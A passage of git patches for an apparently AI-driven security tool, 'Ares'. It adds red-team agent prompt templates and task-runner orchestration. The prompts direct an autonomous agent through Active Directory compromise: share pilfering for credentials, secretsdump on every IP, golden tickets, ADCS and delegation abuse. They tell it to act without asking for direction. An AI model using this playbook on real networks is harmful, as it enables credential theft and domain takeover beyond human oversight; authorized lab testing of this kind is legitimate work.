}} to connect to the domain controller{% endif %} + - Look for the line: "[*] Domain SID is: ..." + +3. **Then**, use the generate_golden_ticket tool to generate a golden ticket for Administrator: + - KRBTGT Hash: {{ krbtgt_hash }} + - Domain: {{ compromised_domain }} + - Use the two SIDs you discovered + - **Add 519 to the target domain SID** for Enterprise Admin access + +**Return confirmation** that the golden ticket was generated successfully or not. diff --git a/templates/redteam/agents/initial_task.md.jinja b/templates/redteam/agents/initial_task.md.jinja new file mode 100644 index 00000000..61bf41a3 --- /dev/null +++ b/templates/redteam/agents/initial_task.md.jinja @@ -0,0 +1,20 @@ +# Red Team Operation Task + +Enumerate and discover users, shares, hashes, and credentials for: **{{ target_ip }}** + +## Top Priorities +1. Domain admin access +2. Golden ticket generation + +## Critical Actions + +- **Admin hash found** → Immediately use domain_admin_checker on all targets → Report findings → Dump secrets +- **krbtgt hash found** → Immediately use golden_ticket tool → Dump secrets on target domain +- **Each share should only be pilfered once** +- **Don't re-enumerate successfully enumerated targets** + +## Starting Point + +Begin with: **nmap scan of {{ target_ip }}** to collect ports, services, and FQDNs + +Then proceed with systematic enumeration following the priority workflow. diff --git a/templates/redteam/agents/share_pilfer_instructions.md.jinja b/templates/redteam/agents/share_pilfer_instructions.md.jinja new file mode 100644 index 00000000..db231187 --- /dev/null +++ b/templates/redteam/agents/share_pilfer_instructions.md.jinja @@ -0,0 +1,53 @@ +# Share Pilfering Agent + +You are a specialized share pilfering agent designed to systematically hunt for credentials and sensitive information in SMB shares during authorized Active Directory penetration testing. + +## CORE MISSION + +Extract credentials, passwords, and sensitive information from accessible SMB shares to enable continued enumeration and privilege escalation. + +## SHARE PILFERING WORKFLOW + +1. **FIRST**: Use enumerate_share_files tool to recursively discover all files in the share + +2. **Prioritize files likely to contain credentials**: + - PowerShell scripts (*.ps1) - often contain hardcoded passwords + - Batch files (*.bat, *.cmd) - may have embedded credentials + - XML files (*.xml) - Group Policy Preferences with cpassword + - Configuration files (*.ini, *.conf, *.config) - connection strings + - Files with 'password', 'secret', 'credential' in the name + +3. **SECOND**: Use download_file_content tool on high-priority files + +4. **Analyze downloaded content for credentials automatically** + +## HIGH-VALUE TARGETS + +- **SYSVOL/NETLOGON shares** (Domain Controller logon scripts) +- **Administrative shares** with scripts and configuration files +- **User shares** with potential credential files +- **Backup directories** with saved passwords + +## CREDENTIAL EXTRACTION + +- Look for plaintext passwords in scripts and config files +- Identify Group Policy Preferences cpassword values +- Extract connection strings with embedded credentials +- Find API keys, tokens, and service account passwords +- **Report ALL discovered credentials immediately** + +## REPORTING REQUIREMENTS + +- Report interesting files discovered during enumeration +- Report file contents that contain potential secrets +- **IMMEDIATELY report any discovered credentials** with username/password pairs +- Include file path and share information for context + +## EFFICIENCY + +- Focus on credential-bearing file types first +- Download and analyze files most likely to contain secrets +- Don't waste time on obviously non-credential files +- Report findings quickly to enable continued enumeration + +**Remember**: Your discoveries directly fuel lateral movement and privilege escalation - prioritize credential extraction above all else. diff --git a/templates/redteam/agents/share_pilfer_task.md.jinja b/templates/redteam/agents/share_pilfer_task.md.jinja new file mode 100644 index 00000000..d91d1e43 --- /dev/null +++ b/templates/redteam/agents/share_pilfer_task.md.jinja @@ -0,0 +1,10 @@ +# Share Pilfering Task + +Attempt to pilfer the following share: + +**Target**: {{ target }} +**Share Name**: {{ share_name }} +**Username**: {{ username }} +**Password**: {{ password }} + +Follow the share pilfering workflow and report all credentials found. diff --git a/templates/redteam/agents/system_instructions.md.jinja b/templates/redteam/agents/system_instructions.md.jinja new file mode 100644 index 00000000..387b7515 --- /dev/null +++ b/templates/redteam/agents/system_instructions.md.jinja @@ -0,0 +1,163 @@ +# Red Team Enumeration Agent + +You are a network reconnaissance and enumeration agent designed to systematically discover information about target systems in authorized penetration testing environments. + +You are in an Active Directory environment with access to: +- netexec, impacket +- Share pilfering capabilities +- Credential cracking via hashcat and john the ripper +- Credential dumping tools via secretsdump +- Golden ticket generation capabilities + +## PRIORITY ACTIONS (DROP EVERYTHING ELSE) + +### šŸ”“ PRIORITY 0: ADCS Vulnerability Discovery (CRITICAL PATH TO DOMAIN ADMIN) + +IF certipy_find discovers ESC1 or other ESC vulnerabilities: + +1. **IMMEDIATELY exploit the vulnerability** + - ESC1: Use certipy_req_esc1 to request certificate for administrator@domain + - Use certipy_auth to obtain Administrator NTLM hash + - **This is a DIRECT path to Domain Admin** + +2. **Use the obtained hash immediately** + - Run domain_admin_checker on ALL targets + - Run secretsdump on ALL targets + +### šŸ”“ PRIORITY 1: KRBTGT Hash Discovery + +IF you find a krbtgt hash via secretsdump: + +1. **IMMEDIATELY use golden_ticket tool** + - Use a compromised user with PASSWORD (not hash) + - Set compromised_domain and target_domain (format: domain.local or subdomain.domain.local) + - Most likely successful path: subdomain as compromised domain, parent domain as target + - Target ALL available domains for lateral movement + - **IMPORTANT**: Pass compromised_dc_ip and target_dc_ip parameters with DC IP addresses + +2. **Report the golden ticket** via record_finding tool + +3. **If golden ticket succeeds but secrets aren't dumped**: + - Use secretsdump with no_pass=True and Administrator username + - Try on EVERY domain/subdomain (domain.local, dcname.domain.local, host.domain.local) + - Check domain controller parent and child FQDNs + - **YOU MUST ATTEMPT TO CRACK ALL RETURNED NTLM HASHES** + +### šŸ”“ PRIORITY 2: Administrator Hash Discovery + +IF you find an Administrator hash: + +1. **IMMEDIATELY use domain_admin_checker tool** on ALL TARGETS/IP ADDRESSES +2. **Report any domain admin findings** +3. **Use secretsdump on ALL TARGETS/IP ADDRESSES** with the Administrator hash + - Do NOT stop after one successful dump + - Attempt on EVERY available IP address +4. **Report all extracted credentials/hashes from each target** + +### 🟔 PRIORITY 3: New Password Discovery + +IF you find a user:password combination (from any source): + +1. **Report the credential** +2. **CHECK FOR PRIVILEGE ESCALATION PATHS** (if not done yet): + - Run run_bloodhound to find ACL abuse opportunities + - Run certipy_find to check for ADCS vulnerabilities + - Run find_delegation to identify delegation attacks +3. **Enumerate users on ALL TARGETS** +4. **Enumerate shares on ALL TARGETS** +5. **Pilfer shares if read/write access is found** +6. **Use kerberoast and asrep_roast with new credential** +7. **Report all new findings** +8. **Crack any discovered hashes** +9. **If cracking succeeds** → Return to Priority 3 start + +### 🟢 PRIORITY 3.5: ACL Abuse & Delegation Exploitation + +IF BloodHound or delegation tools find opportunities: + +**ACL Abuse:** +- GenericAll/GenericWrite on users → Shadow credentials or targeted kerberoast +- GenericAll/GenericWrite on computers → RBCD attack (add_computer → rbcd_write → get_st) +- WriteDacl → Modify permissions for further exploitation + +**Delegation Abuse:** +- Unconstrained delegation → Coerce DC auth → DCSync +- Constrained delegation → Impersonate to target services +- RBCD opportunity → add_computer → rbcd_write → get_st → secretsdump + +### 🟢 PRIORITY 4: Share Access Discovery + +IF you discover share access (READ/WRITE): + +1. **Pilfer shares** using pilfer_share tool + - Prioritize: SYSVOL, NETLOGON, admin shares, user directories +2. **Report any credentials found in shares** +3. **Any found credentials** → Trigger Priority 3 workflow + +## STANDARD ENUMERATION WORKFLOW + +### Initial Discovery +1. Run nmap_scan on ALL TARGETS +2. Run enumerate_users on ALL TARGETS +3. Run enumerate_shares on ALL TARGETS +4. Report ALL users and shares + +### Early Privilege Escalation Checks (Run with FIRST valid credentials) + +When you obtain ANY valid domain credentials: +1. **Run run_bloodhound** - Discovers ACL abuse paths, delegation, and shortcuts to Domain Admins +2. **Run certipy_find** - Check for ADCS vulnerabilities (ESC1-15) +3. **Run find_delegation** - Identify delegation misconfigurations +4. **These tools reveal hidden paths to Domain Admin** + +### Credential Expansion Loop +- Each new credential triggers complete re-enumeration +- Only enumerate hosts not successfully enumerated with current creds +- Continue until no new access discovered + +### Administrative Access +- When discovering Pwn3d! access → Use secretsdump immediately on THAT TARGET AND ALL OTHER TARGETS +- Report all findings + +## CRITICAL SECRETSDUMP RULES + +āš ļø ALWAYS attempt secretsdump on ALL IP ADDRESSES when you have: +- Administrator credentials (hash or password) +- Domain admin credentials +- Any account showing Pwn3d! access +- Golden ticket capability + +DO NOT assume one successful secretsdump is enough - each target may have unique local accounts and hashes. + +## MANDATORY REPORTING + +Use record_finding tool for EVERY: +- User discovered +- Credential pair (username:password) +- NTLM hash +- Share with access permissions +- Kerberos hash +- Cracked password +- Administrative access (Pwn3d!) +- Domain admin discovery +- Golden ticket success + +## CRITICAL SUCCESS METRICS + +- All domain user credentials extracted +- Complete network credential mapping +- All local and domain administrators identified + +## FINAL DELIVERABLE + +Create executive summary including: +- All local administrators found +- All domain administrators found +- Detailed attack paths for each admin compromise + +## NOTES + +- vagrant user is OUT OF SCOPE +- Continue until ALL credential sources exhausted +- Do not stop to ask for direction - execute autonomously +- When in doubt, try ALL IP addresses diff --git a/templates/redteam/reports/operation_summary.md.jinja b/templates/redteam/reports/operation_summary.md.jinja new file mode 100644 index 00000000..7e889e4b --- /dev/null +++ b/templates/redteam/reports/operation_summary.md.jinja @@ -0,0 +1,103 @@ +# Red Team Operation Report + +**Operation ID**: {{ operation_id }} +**Target**: {{ target_ip }} +**Started**: {{ started_at }} +**Completed**: {{ completed_at }} +**Stage**: {{ stage }} + +--- + +## Executive Summary + +{{ executive_summary }} + +--- + +## Success Metrics + +- **Domain Admin Access**: {{ "āœ“ ACHIEVED" if has_domain_admin else "āœ— Not Achieved" }} +- **Golden Ticket**: {{ "āœ“ GENERATED" if has_golden_ticket else "āœ— Not Generated" }} +- **Hosts Discovered**: {{ host_count }} +- **Users Discovered**: {{ user_count }} +- **Credentials Obtained**: {{ credential_count }} +- **Administrator Accounts**: {{ admin_count }} + +--- + +## Discovered Assets + +### Hosts ({{ host_count }}) +{% for host in hosts %} +- **{{ host.hostname }}** ({{ host.ip }}) + - Roles: {{ host.roles|join(', ') if host.roles else 'Unknown' }} + - OS: {{ host.os }} + - Services: {{ host.services|join(', ') if host.services else 'None' }} +{% endfor %} + +### User Accounts ({{ user_count }}) +{% for user in users %} +- **{{ user.username }}@{{ user.domain }}** {{ "(ADMIN)" if user.is_admin else "" }} + {% if user.description %}- Description: {{ user.description }}{% endif %} +{% endfor %} + +### Credentials ({{ credential_count }}) +{% for cred in credentials %} +- **{{ cred.username }}** {{ "(ADMIN)" if cred.is_admin else "" }} + - Source: {{ cred.source }} + {% if cred.domain %}- Domain: {{ cred.domain }}{% endif %} +{% endfor %} + +### Network Shares ({{ share_count }}) +{% for share in shares %} +- **{{ share.name }}** on {{ share.host }} + - Permissions: {{ share.permissions if share.permissions else 'Unknown' }} + {% if share.comment %}- Comment: {{ share.comment }}{% endif %} +{% endfor %} + +--- + +## Attack Path + +### Timeline of Key Events +{% for event in timeline %} +**{{ event.timestamp.strftime('%Y-%m-%d %H:%M:%S') }}** - {{ event.description }} +{% if event.mitre_techniques %} - MITRE ATT&CK: {{ event.mitre_techniques|join(', ') }}{% endif %} +{% endfor %} + +--- + +## MITRE ATT&CK Mapping + +### Techniques Identified +{% for technique in techniques_identified %} +- {{ technique }} +{% endfor %} + +--- + +## Vulnerabilities and Weaknesses + +{% for weakness in weaknesses %} +- {{ weakness }} +{% endfor %} + +--- + +## Recommendations + +### Immediate Actions +1. Reset all compromised credentials +2. Revoke any generated golden tickets +3. Investigate lateral movement paths +4. Review domain controller security + +### Long-term Improvements +1. Implement credential hygiene policies +2. Segment network to limit lateral movement +3. Monitor for golden ticket indicators +4. Enable enhanced domain security features + +--- + +*Report generated by Ares Red Team Agent* From efe7f53889e3eef9d053a41e6b357e0b7bc415d4 Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Wed, 7 Jan 2026 23:52:24 -0700 Subject: [PATCH 2/4] feat: add red team agent tasks and refactor blue team agent commands **Added:** - Introduced red team agent tasks: `ares:red`, `ares:red:local`, and `ares:red:orchestrate` for offensive operations, supporting remote orchestration via S3/SSM and local/1Password credential loading **Changed:** - Renamed SOC agent tasks to "blue team agent" for clarity and consistency - Updated environment variable usage to standardize on `GRAFANA_API_KEY` instead of `GRAFANA_SERVICE_ACCOUNT_TOKEN` - Changed python module invocation from `src` to `ares` throughout agent commands - Improved .env file validation and error messaging for blue team agent tasks - Refined log and echo output to reduce noise and improve clarity in blue team agent tasks - Updated `ares:version` task to directly print version using Python import - Updated MITRE ATT&CK test task to reference new import path - Clarified terminology in API key checks and user messages for consistency **Removed:** - Removed redundant and verbose comments and echo statements in blue team agent tasks to streamline execution and output --- Taskfile.yaml | 210 +++++++++++++++++++++++++++++++++++++++++--------- 1 file changed, 174 insertions(+), 36 deletions(-) diff --git a/Taskfile.yaml b/Taskfile.yaml index f8b30b37..bd007b3a 100644 --- a/Taskfile.yaml +++ b/Taskfile.yaml @@ -144,25 +144,18 @@ tasks: - task: github:create-release # =========================================================================== - # Ares SOC Agent Tasks + # Ares Blue Team (SOC) Agent Tasks # =========================================================================== - ares:run: - desc: Run Ares in poll mode (retrieves API keys from 1Password) + ares:blue: + desc: Run blue team agent in poll mode (uses 1Password for API keys) cmds: - | - echo "Starting Ares SOC Investigation Agent..." - echo "Platform: {{.DREADNODE_SERVER}}" - echo "Model: {{.MODEL}}" - echo "" - - # Get API keys from 1Password export DREADNODE_API_KEY=$(op item get "Dreadnode Dev Platform" --fields api-key --reveal) - export GRAFANA_SERVICE_ACCOUNT_TOKEN=$(op item get "Ares Grafana MCP" --fields grafana-token --reveal 2>/dev/null || echo "") + export GRAFANA_API_KEY=$(op item get "Ares Grafana MCP" --fields grafana-token --reveal 2>/dev/null || echo "") export ANTHROPIC_API_KEY=$(op item get "claude.ai" --fields dreadnode-api-key --reveal 2>/dev/null || echo "") - # Run Ares using uv - uv run python -m src \ + uv run python -m ares \ --args.model {{.MODEL}} \ --args.grafana-url {{.GRAFANA_URL}} \ --args.poll-interval {{.POLL_INTERVAL}} \ @@ -174,28 +167,20 @@ tasks: --dn-args.workspace {{.DREADNODE_WORKSPACE}} \ --dn-args.project {{.DREADNODE_PROJECT}} - ares:run:local: - desc: Run Ares using local environment variables (no 1Password) + ares:blue:local: + desc: Run blue team agent using .env file (no 1Password) cmds: - | - echo "Starting Ares SOC Investigation Agent (using .env)..." - echo "Platform: {{.DREADNODE_SERVER}}" - echo "Model: {{.MODEL}}" - echo "" - - # Check for .env file if [ ! -f .env ]; then - echo "āš ļø Warning: .env file not found. Copy .env.example to .env and configure." + echo "Error: .env file not found" exit 1 fi - # Load .env set -a . ./.env set +a - # Run Ares using uv - uv run python -m src \ + uv run python -m ares \ --args.model {{.MODEL}} \ --args.grafana-url {{.GRAFANA_URL}} \ --args.poll-interval {{.POLL_INTERVAL}} \ @@ -217,16 +202,11 @@ tasks: msg: "Alert file not found: {{.ALERT}}" cmds: - | - echo "Investigating alert from: {{.ALERT}}" - echo "" - - # Get API keys from 1Password export DREADNODE_API_KEY=$(op item get "Dreadnode Dev Platform" --fields api-key --reveal) - export GRAFANA_SERVICE_ACCOUNT_TOKEN=$(op item get "Ares Grafana MCP" --fields grafana-token --reveal 2>/dev/null || echo "") + export GRAFANA_API_KEY=$(op item get "Ares Grafana MCP" --fields grafana-token --reveal 2>/dev/null || echo "") export ANTHROPIC_API_KEY=$(op item get "claude.ai" --fields dreadnode-api-key --reveal 2>/dev/null || echo "") - # Run investigation - uv run python -m src investigate-alert {{.ALERT}} \ + uv run python -m ares investigate-alert {{.ALERT}} \ --args.model {{.MODEL}} \ --args.grafana-url {{.GRAFANA_URL}} \ --args.max-steps {{.MAX_STEPS}} \ @@ -278,11 +258,11 @@ tasks: echo " Field: 'api-key'" fi - # Check Grafana service account token + # Check Grafana API key if op item get "Ares Grafana MCP" --fields grafana-token --reveal >/dev/null 2>&1; then - echo " āœ… Grafana service account token accessible" + echo " āœ… Grafana API key accessible" else - echo " āš ļø Grafana service account token not found in 1Password" + echo " āš ļø Grafana API key not found in 1Password" echo " Item: 'Ares Grafana MCP'" echo " Field: 'grafana-token'" fi @@ -360,7 +340,7 @@ tasks: ares:version: desc: Show Ares version information cmds: - - uv run python -m ares version + - uv run python -c "import ares; print('Ares version:', ares.__version__)" ares:mitre:test: desc: Test MITRE ATT&CK data loading @@ -368,7 +348,7 @@ tasks: - | uv run python -c " import asyncio - from src.mitre import MITREAttackClient + from ares.integrations.mitre import MITREAttackClient async def test(): client = MITREAttackClient() @@ -390,3 +370,161 @@ tasks: desc: Show example Grafana MCP queries for Windows attack detection cmds: - python examples/grafana_mcp_windows_example.py + + # =========================================================================== + # Ares Red Team Agent Tasks + # =========================================================================== + + ares:red: + desc: "Run red team agent against a target (usage: task ares:red TARGET=192.168.1.100)" + vars: + TARGET: '{{.TARGET | default ""}}' + REDTEAM_PROJECT: '{{.REDTEAM_PROJECT | default "ares-redteam"}}' + preconditions: + - sh: test -n "{{.TARGET}}" + msg: "TARGET variable is required. Usage: task ares:red TARGET=192.168.1.100" + cmds: + - | + export OPENAI_API_KEY=$(op item get "Openai" --fields dreadnode-api-key --reveal 2>/dev/null) + export DREADNODE_API_KEY=$(op item get "Dreadnode Dev Platform" --fields api-key --reveal 2>/dev/null || echo "") + export ANTHROPIC_API_KEY=$(op item get "claude.ai" --fields dreadnode-api-key --reveal 2>/dev/null || echo "") + + uv run python -m ares red-team {{.TARGET}} \ + --args.model {{.MODEL}} \ + --args.max-steps {{.MAX_STEPS}} \ + --args.report-dir {{.REPORT_DIR}} \ + --dn-args.server {{.DREADNODE_SERVER}} \ + --dn-args.token "$DREADNODE_API_KEY" \ + --dn-args.organization {{.DREADNODE_ORGANIZATION}} \ + --dn-args.workspace {{.DREADNODE_WORKSPACE}} \ + --dn-args.project {{.REDTEAM_PROJECT}} + + ares:red:local: + desc: "Run red team agent using .env file (usage: task ares:red:local TARGET=192.168.1.100)" + vars: + TARGET: '{{.TARGET | default ""}}' + REDTEAM_PROJECT: '{{.REDTEAM_PROJECT | default "ares-redteam"}}' + preconditions: + - sh: test -n "{{.TARGET}}" + msg: "TARGET variable is required. Usage: task ares:red:local TARGET=192.168.1.100" + cmds: + - | + if [ ! -f .env ]; then + echo "Error: .env file not found" + exit 1 + fi + + set -a + . ./.env + set +a + + uv run python -m ares red-team {{.TARGET}} \ + --args.model {{.MODEL}} \ + --args.max-steps {{.MAX_STEPS}} \ + --args.report-dir {{.REPORT_DIR}} \ + --dn-args.server {{.DREADNODE_SERVER}} \ + --dn-args.organization {{.DREADNODE_ORGANIZATION}} \ + --dn-args.workspace {{.DREADNODE_WORKSPACE}} \ + --dn-args.project {{.REDTEAM_PROJECT}} + + ares:red:orchestrate: + desc: "Orchestrate red team via S3/SSM (usage: task ares:red:orchestrate TARGET_FILTER=dreadgoad)" + vars: + TARGET_FILTER: '{{.TARGET_FILTER | default "dreadgoad"}}' + KALI: '{{.KALI | default "dev-alpha-operator-range-kali"}}' + BUCKET: '{{.BUCKET | default "dread-infra-alpha-operator-range-dev-us-west-2"}}' + PROFILE: '{{.PROFILE | default "lab"}}' + REGION: '{{.REGION | default "us-west-2"}}' + REDTEAM_PROJECT: '{{.REDTEAM_PROJECT | default "ares-redteam"}}' + cmds: + - | + TARGET_IPS=$(aws ec2 describe-instances \ + --profile "{{.PROFILE}}" \ + --region "{{.REGION}}" \ + --filters "Name=instance-state-name,Values=running" \ + --query 'Reservations[*].Instances[?contains(Tags[?Key==`Name`].Value|[0], `{{.TARGET_FILTER}}`)].PrivateIpAddress' \ + --output text | tr '\n' ' ' | sed 's/[[:space:]]*$//') + + if [ -z "$TARGET_IPS" ]; then + echo "Error: No running instances found matching filter: {{.TARGET_FILTER}}" + exit 1 + fi + + PRIMARY_TARGET=$(echo "$TARGET_IPS" | awk '{print $1}') + echo "Target: $PRIMARY_TARGET" + + SSM_INSTANCE_ID=$(aws ec2 describe-instances \ + --profile "{{.PROFILE}}" \ + --region "{{.REGION}}" \ + --filters "Name=tag:Name,Values={{.KALI}}" "Name=instance-state-name,Values=running" \ + --query 'Reservations[0].Instances[0].InstanceId' \ + --output text) + + if [ "$SSM_INSTANCE_ID" == "None" ] || [ -z "$SSM_INSTANCE_ID" ]; then + echo "Error: Kali instance not found or not running" + exit 1 + fi + + echo "Kali instance: $SSM_INSTANCE_ID" + + OPENAI_API_KEY=$(op item get "Openai" --fields dreadnode-api-key --reveal 2>/dev/null) + DREADNODE_API_KEY=$(op item get "Dreadnode Dev Platform" --fields api-key --reveal 2>/dev/null || echo "") + + ARES_DIR="$(pwd)" + TIMESTAMP=$(date +%s) + TARBALL="ares-redteam-${TIMESTAMP}.tar.gz" + + cd "$(dirname "$ARES_DIR")" + tar -czf "/tmp/${TARBALL}" \ + --exclude='.venv' \ + --exclude='venv' \ + --exclude='*.pyc' \ + --exclude='__pycache__' \ + --exclude='.git' \ + --exclude="$(basename "$ARES_DIR")/reports/*" \ + "$(basename "$ARES_DIR")" + + aws s3 cp "/tmp/${TARBALL}" "s3://{{.BUCKET}}/${TARBALL}" --profile "{{.PROFILE}}" --region "{{.REGION}}" + + REMOTE_SCRIPT="#!/bin/bash + set -e + cd /tmp + aws s3 cp s3://{{.BUCKET}}/${TARBALL} . --region {{.REGION}} + tar -xzf ${TARBALL} + cd /tmp/$(basename "$ARES_DIR") + python3 -m pip install --break-system-packages -q uv + python3 -m uv sync --no-dev + + export OPENAI_API_KEY='${OPENAI_API_KEY}' + export DREADNODE_API_KEY='${DREADNODE_API_KEY}' + export DREADNODE_SERVER='{{.DREADNODE_SERVER}}' + export DREADNODE_ORGANIZATION='{{.DREADNODE_ORGANIZATION}}' + export DREADNODE_WORKSPACE='{{.DREADNODE_WORKSPACE}}' + export DREADNODE_PROJECT='{{.REDTEAM_PROJECT}}' + + uv run python -m ares red-team ${PRIMARY_TARGET} \ + --args.model {{.MODEL}} \ + --args.max-steps {{.MAX_STEPS}} \ + --dn-args.server '{{.DREADNODE_SERVER}}' \ + --dn-args.token '${DREADNODE_API_KEY}' \ + --dn-args.organization '{{.DREADNODE_ORGANIZATION}}' \ + --dn-args.workspace '{{.DREADNODE_WORKSPACE}}' \ + --dn-args.project '{{.REDTEAM_PROJECT}}' \ + 2>&1 | tee /tmp/ares-redteam-output.log + " + + COMMAND_ID=$(aws ssm send-command \ + --profile "{{.PROFILE}}" \ + --region "{{.REGION}}" \ + --instance-ids "$SSM_INSTANCE_ID" \ + --document-name "AWS-RunShellScript" \ + --parameters "commands=[\"${REMOTE_SCRIPT}\"]" \ + --timeout-seconds 7200 \ + --comment "Ares red team - {{.TARGET_FILTER}} - $TIMESTAMP" \ + --query 'Command.CommandId' \ + --output text) + + echo "Command ID: $COMMAND_ID" + echo "" + echo "Monitor: ./tail_redteam_log.sh {{.KALI}}" + echo "Cleanup: aws s3 rm s3://{{.BUCKET}}/${TARBALL} --profile {{.PROFILE}} --region {{.REGION}}" From ddf2f075f9e4ce4cd038dd1c955ce5909b526ab5 Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Thu, 8 Jan 2026 14:13:19 -0700 Subject: [PATCH 3/4] feat: restructure ares agent into modular package, add attack chain/recipe engines **Added:** - Introduced `src/ares` package structure, modularizing agents, core, integrations, reports, and tools for blue and red teams - Implemented attack chain and detection recipe engines in `ares.core.engines`, loading from new YAML configs for precursor/follow-on mapping and Windows event detection - Added extensive precursor investigation logic and detection recipe logic to MITRENavigator, enhancing investigative question generation - Created YAML files: `templates/engines/attack_chains.yaml` and `templates/engines/detection_recipes.yaml` defining attack chains, detection recipes, log patterns, and Windows event mappings for common techniques - Added new tools for blue and red teams under `ares.tools.blue` and `ares.tools.red`, including advanced investigation, observability, and completion/escalation actions - Provided shared MITRE lookup tools and core agent factories for blue/red - Added enhanced Jinja templates for initial alert prompts and precursor questions, enforcing investigation workflow and time handling **Changed:** - Refactored main agent entry points, reports, and models to reference new modular locations under `ares/` - Enhanced initial alert prompt to stress precursor investigation, correct time range usage, and stepwise evidence recording - Updated investigation workflow to enforce mandatory evidence recording after every query and prevent query loops - Improved LogQL guidance and error handling in blue team tools - Main orchestration scripts now always use absolute report directory paths and improved shutdown handling - MITRENavigator now generates precursor/detection recipe questions before follow-on and gap analysis - All file and template references adjusted to new package structure and directory layout - Updated pyproject.toml, test imports, and build config to reference new module/package names (`ares` instead of `src`) - Improved investigation completion tool to enforce stricter validation on evidence, stage, host/user findings, and timeline **Removed:** - Removed old monolithic src/agent.py, src/redteam_agent.py, and tools/__init__.py, actions.py, core/__init__.py, and other legacy glue in favor of modular ares/ package structure - Deleted src/__init__.py and obsolete src/core/create.py in favor of new factory modules - Eliminated duplicate or redundant imports and logic now covered by new engines, reports, and toolsets --- Taskfile.yaml | 202 ++++++- pyproject.toml | 8 +- src/__init__.py | 3 - src/ares/__init__.py | 21 + src/{ => ares}/__main__.py | 0 src/ares/agents/__init__.py | 9 + src/ares/agents/blue/__init__.py | 8 + .../agents/blue/soc_investigator.py} | 49 +- src/ares/agents/red/__init__.py | 8 + .../agents/red/pentester.py} | 10 +- src/ares/core/__init__.py | 13 + src/{ => ares/core}/engines.py | 281 +++++++++- src/ares/core/factories/__init__.py | 9 + .../core/factories/blue_factory.py} | 50 +- .../core/factories/red_factory.py} | 8 +- src/{ => ares/core}/models.py | 8 +- src/{ => ares/core}/templates.py | 6 +- src/ares/integrations/__init__.py | 7 + src/{ => ares/integrations}/mitre.py | 0 src/{ => ares}/main.py | 160 +++--- src/ares/reports/__init__.py | 9 + .../reports/investigation.py} | 4 +- .../reports/redteam.py} | 10 +- src/ares/tools/__init__.py | 21 + src/ares/tools/blue/__init__.py | 17 + src/ares/tools/blue/actions.py | 212 +++++++ src/{tools => ares/tools/blue}/grafana.py | 43 +- .../tools/blue}/investigation.py | 140 ++++- .../tools/blue}/observability.py | 161 +++++- src/ares/tools/red/__init__.py | 19 + .../redteam.py => ares/tools/red/network.py} | 8 +- src/ares/tools/shared/__init__.py | 7 + src/{tools => ares/tools/shared}/mitre.py | 2 +- src/core/__init__.py | 5 - src/tools/__init__.py | 19 - src/tools/actions.py | 124 ----- templates/agent/initial_alert_prompt.md.jinja | 178 +++++- templates/agent/system_instructions.md.jinja | 185 +++++- templates/engines/attack_chains.yaml | 506 +++++++++++++++++ templates/engines/detection_recipes.yaml | 526 ++++++++++++++++++ templates/engines/mitre_precursor.md.jinja | 9 + tests/test_mcp_integration.py | 2 +- tests/test_templates.py | 18 +- 43 files changed, 2721 insertions(+), 364 deletions(-) delete mode 100644 src/__init__.py create mode 100644 src/ares/__init__.py rename src/{ => ares}/__main__.py (100%) create mode 100644 src/ares/agents/__init__.py create mode 100644 src/ares/agents/blue/__init__.py rename src/{agent.py => ares/agents/blue/soc_investigator.py} (80%) create mode 100644 src/ares/agents/red/__init__.py rename src/{redteam_agent.py => ares/agents/red/pentester.py} (96%) create mode 100644 src/ares/core/__init__.py rename src/{ => ares/core}/engines.py (58%) create mode 100644 src/ares/core/factories/__init__.py rename src/{core/create.py => ares/core/factories/blue_factory.py} (66%) rename src/{core/create_redteam.py => ares/core/factories/red_factory.py} (97%) rename src/{ => ares/core}/models.py (98%) rename src/{ => ares/core}/templates.py (94%) create mode 100644 src/ares/integrations/__init__.py rename src/{ => ares/integrations}/mitre.py (100%) rename src/{ => ares}/main.py (71%) create mode 100644 src/ares/reports/__init__.py rename src/{report.py => ares/reports/investigation.py} (99%) rename src/{redteam_report.py => ares/reports/redteam.py} (94%) create mode 100644 src/ares/tools/__init__.py create mode 100644 src/ares/tools/blue/__init__.py create mode 100644 src/ares/tools/blue/actions.py rename src/{tools => ares/tools/blue}/grafana.py (77%) rename src/{tools => ares/tools/blue}/investigation.py (70%) rename src/{tools => ares/tools/blue}/observability.py (59%) create mode 100644 src/ares/tools/red/__init__.py rename src/{tools/redteam.py => ares/tools/red/network.py} (99%) create mode 100644 src/ares/tools/shared/__init__.py rename src/{tools => ares/tools/shared}/mitre.py (98%) delete mode 100644 src/core/__init__.py delete mode 100644 src/tools/__init__.py delete mode 100644 src/tools/actions.py create mode 100644 templates/engines/attack_chains.yaml create mode 100644 templates/engines/detection_recipes.yaml create mode 100644 templates/engines/mitre_precursor.md.jinja diff --git a/Taskfile.yaml b/Taskfile.yaml index bd007b3a..c5be41f4 100644 --- a/Taskfile.yaml +++ b/Taskfile.yaml @@ -149,6 +149,11 @@ tasks: ares:blue: desc: Run blue team agent in poll mode (uses 1Password for API keys) + deps: + - task: check-aws-auth + vars: + PROFILE: '{{.PROFILE | default "infrastructure"}}' + REGION: '{{.REGION | default "us-west-2"}}' cmds: - | export DREADNODE_API_KEY=$(op item get "Dreadnode Dev Platform" --fields api-key --reveal) @@ -167,8 +172,68 @@ tasks: --dn-args.workspace {{.DREADNODE_WORKSPACE}} \ --dn-args.project {{.DREADNODE_PROJECT}} + ares:blue:once: + desc: Run blue team agent once and exit (uses 1Password for API keys) + deps: + - task: check-aws-auth + vars: + PROFILE: '{{.PROFILE | default "infrastructure"}}' + REGION: '{{.REGION | default "us-west-2"}}' + cmds: + - | + export DREADNODE_API_KEY=$(op item get "Dreadnode Dev Platform" --fields api-key --reveal) + export GRAFANA_API_KEY=$(op item get "Ares Grafana MCP" --fields grafana-token --reveal 2>/dev/null || echo "") + export ANTHROPIC_API_KEY=$(op item get "claude.ai" --fields dreadnode-api-key --reveal 2>/dev/null || echo "") + + uv run python -m ares \ + --args.model {{.MODEL}} \ + --args.grafana-url {{.GRAFANA_URL}} \ + --args.poll-interval {{.POLL_INTERVAL}} \ + --args.max-steps {{.MAX_STEPS}} \ + --args.report-dir {{.REPORT_DIR}} \ + --args.once \ + --dn-args.server {{.DREADNODE_SERVER}} \ + --dn-args.token "$DREADNODE_API_KEY" \ + --dn-args.organization {{.DREADNODE_ORGANIZATION}} \ + --dn-args.workspace {{.DREADNODE_WORKSPACE}} \ + --dn-args.project {{.DREADNODE_PROJECT}} + ares:blue:local: desc: Run blue team agent using .env file (no 1Password) + deps: + - task: check-aws-auth + vars: + PROFILE: '{{.PROFILE | default 